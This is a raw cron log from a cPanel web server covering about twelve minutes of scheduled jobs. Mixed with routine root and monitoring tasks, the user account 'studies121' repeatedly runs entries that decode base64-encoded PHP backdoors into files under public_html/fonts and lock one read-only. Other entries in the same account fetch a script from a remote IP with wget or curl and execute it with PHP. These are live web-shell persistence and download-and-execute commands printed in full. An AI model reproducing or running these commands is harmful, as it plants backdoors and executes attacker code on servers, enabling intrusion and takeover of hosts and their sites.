Sep 10 23:19:01 ip-184-168-122-23 CROND[26030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:19:01 ip-184-168-122-23 CROND[26035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:20:01 ip-184-168-122-23 CROND[26125]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 23:20:01 ip-184-168-122-23 CROND[26126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:20:01 ip-184-168-122-23 CROND[26130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:20:01 ip-184-168-122-23 CROND[26135]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:20:01 ip-184-168-122-23 CROND[26132]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:20:01 ip-184-168-122-23 CROND[26133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:20:01 ip-184-168-122-23 CROND[26138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:20:01 ip-184-168-122-23 CROND[26137]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:20:01 ip-184-168-122-23 CROND[26134]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 23:21:01 ip-184-168-122-23 CROND[26236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:21:01 ip-184-168-122-23 CROND[26238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:21:01 ip-184-168-122-23 CROND[26237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:21:01 ip-184-168-122-23 CROND[26240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:22:01 ip-184-168-122-23 CROND[26333]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:22:01 ip-184-168-122-23 CROND[26336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:22:01 ip-184-168-122-23 CROND[26339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:22:01 ip-184-168-122-23 CROND[26340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:22:01 ip-184-168-122-23 CROND[26338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:23:01 ip-184-168-122-23 CROND[26417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:23:01 ip-184-168-122-23 CROND[26420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:23:01 ip-184-168-122-23 CROND[26419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:23:01 ip-184-168-122-23 CROND[26421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:24:01 ip-184-168-122-23 CROND[26500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:24:01 ip-184-168-122-23 CROND[26502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:24:01 ip-184-168-122-23 CROND[26503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:24:01 ip-184-168-122-23 CROND[26504]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:24:01 ip-184-168-122-23 CROND[26506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:25:01 ip-184-168-122-23 CROND[26677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:25:01 ip-184-168-122-23 CROND[26681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:25:01 ip-184-168-122-23 CROND[26679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:25:01 ip-184-168-122-23 CROND[26680]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:25:01 ip-184-168-122-23 CROND[26682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:25:01 ip-184-168-122-23 CROND[26683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:26:02 ip-184-168-122-23 CROND[26774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:26:02 ip-184-168-122-23 CROND[26775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:26:02 ip-184-168-122-23 CROND[26776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:26:02 ip-184-168-122-23 CROND[26777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:26:02 ip-184-168-122-23 CROND[26778]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:27:01 ip-184-168-122-23 CROND[26866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:27:01 ip-184-168-122-23 CROND[26867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:27:01 ip-184-168-122-23 CROND[26869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:27:01 ip-184-168-122-23 CROND[26868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:28:01 ip-184-168-122-23 CROND[26947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:28:01 ip-184-168-122-23 CROND[26950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:28:01 ip-184-168-122-23 CROND[26952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:28:01 ip-184-168-122-23 CROND[26949]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:28:01 ip-184-168-122-23 CROND[26951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:29:01 ip-184-168-122-23 CROND[27042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:29:01 ip-184-168-122-23 CROND[27043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:29:01 ip-184-168-122-23 CROND[27045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:29:01 ip-184-168-122-23 CROND[27044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:30:01 ip-184-168-122-23 CROND[27144]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 23:30:01 ip-184-168-122-23 CROND[27145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:30:01 ip-184-168-122-23 CROND[27147]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:30:01 ip-184-168-122-23 CROND[27148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:30:01 ip-184-168-122-23 CROND[27149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:30:01 ip-184-168-122-23 CROND[27160]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:30:01 ip-184-168-122-23 CROND[27151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:30:01 ip-184-168-122-23 CROND[27159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:31:01 ip-184-168-122-23 CROND[27354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:31:01 ip-184-168-122-23 CROND[27356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
